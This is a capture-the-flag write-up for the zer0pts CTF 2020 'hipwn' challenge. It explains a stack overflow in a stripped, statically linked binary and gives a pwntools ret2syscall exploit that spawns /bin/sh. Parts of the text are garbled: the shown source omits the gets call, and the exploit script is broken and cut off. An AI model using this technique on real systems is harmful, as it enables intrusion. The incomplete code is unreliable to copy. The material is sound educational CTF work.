Tags: ret2syscall rop 

Rating: 5.0

## Challenge

Hi, all pwners over the world!



## Recon

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Note that this binary is **statically linked**, so we can't use ret2libc. In addition, this binary is **stripped**, so we know nothing about the function names.

$ checksec chall
[*] '/root/Dropbox/Pwnie-Island-Wargame/zer0pts_CTF/Pwn/hipwn/chall'
Arch: amd64-64-little
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique.

## Source Code

#include <stdio.h>

int main(void) {
char name[0x100];
puts("What's your team name?");
printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
return 0;

Obviously `gets(name);` triggers stack overflow that allows us to control RIP.

## Analysis

Since the binary is statically linked and stripped, the first thing we should try is **ret2syscall**. To learn more about ret2syscall, check out [ret2syscall Cheat Sheet](https://hackmd.io/@PwnieIsland/ret2syscall-cheat-sheet).

Let's look for necessary ROP gadgets:


However, the string `/bin/sh` is not inside the binary:

![No "/bin/sh"](https://i.imgur.com/JE8cixl.png)

This makes the challenge slightly difficult. What we have to do here is to pass the string `"/bin/sh"` to the `.bss` section. The address of `.bss` can be easily found using Pwntools (`bss = elf.bss()`). Since the binary contains the function `gets`, we can call `gets(bss)` to open a STDIN session and pass the string `"/bin/sh"` from here.

Next, we need to find the address of `gets`. But the binary is stripped, so how do deduce the location of this address? First **disassemble** the binary:

$ objdump -D -M intel chall > disassembly.asm

We know that the **SIGSEGV** happens at `0x40019c`:


So `gets` must be happening a few instructions before this point. Search `40019c` in the disassembly:


There are three functions get called here:

1. `0x40062f`
2. `0x4004ee`
3. `0x400591`

**According to the source code**, we can deduce the correspondences based on the order that functions get called:

1. `0x40062f` => `puts`
2. `0x4004ee` => `gets`
3. `0x400591` => `printf`

So the address that we are looking for is `0x4004ee`.

Now we have everything ready for the ret2syscall attack.

## Exploit

#!/usr/bin/env python3
from pwn import *


context(arch="amd64", os="linux")
elf = ELF("chall", checksec=False)

local = True
if local:
r = elf.process()
host = ""
port = 9010
r = remote(host, port)


pop_rax = 0x0000000000400121
pop_rdi = 0x000000000040141c
pop_rsi_pop_r15 = 0x000000000040141a
pop_rdx = 0x00000000004023f5
syscall = 0x00000000004003fc

bss = elf.bss()
gets = 0x4004ee


offset = 264

payload = flat(
b"e" * offset,
# Round 1: call gets(bss)
pop_rdi, bss,
# Round 2: call execve("/bin/sh", 0, 0)
pop_rax, 59,
pop_rdi, bss,
pop_rsi_pop_r15, 0, 0x13371337,
pop_rdx, 0,

r.readuntil("What's your team name?\n")

Original writeup (https://hackmd.io/@PwnieIsland/zer0pts-ctf-2020-hipwn).